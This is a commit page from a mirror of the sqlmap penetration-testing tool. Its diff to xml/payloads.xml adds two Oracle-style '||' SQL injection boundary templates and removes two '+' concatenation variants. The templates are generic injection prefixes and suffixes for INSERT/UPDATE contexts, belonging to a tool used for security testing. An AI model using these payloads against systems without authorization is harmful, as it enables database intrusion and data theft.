PenTest/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-12-22 15:39:05 +00:00
Code Issues Projects Releases Wiki Activity

Minor fix to avoid useless tests (FROM DUAL is Oracle specific so no point using + to concatenate strings)

Browse Source
This commit is contained in:
Bernardo Damele
2012-03-30 16:27:08 +00:00
parent 429b8396e9
commit 40a7232de6
1 changed files with 18 additions and 18 deletions
Download Patch File Download Diff File Expand all files Collapse all files

36
xml/payloads.xml
View File

@@ -488,6 +488,24 @@ Formats:
<!-- End of pre-WHERE generic boundaries --> <!-- End of pre-WHERE generic boundaries -->
<!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"--> <!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix> || (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) ||</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>|| (SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) ||</suffix>
</boundary>
<boundary> <boundary>
<level>5</level> <level>5</level>
<clause>1</clause> <clause>1</clause>
@@ -506,15 +524,6 @@ Formats:
<suffix>) || '</suffix> <suffix>) || '</suffix>
</boundary> </boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix> + (SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)</suffix>
</boundary>
<boundary> <boundary>
<level>5</level> <level>5</level>
<clause>1</clause> <clause>1</clause>
@@ -524,15 +533,6 @@ Formats:
<suffix>)</suffix> <suffix>)</suffix>
</boundary> </boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' + (SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>) + '</suffix>
</boundary>
<boundary> <boundary>
<level>5</level> <level>5</level>
<clause>1</clause> <clause>1</clause>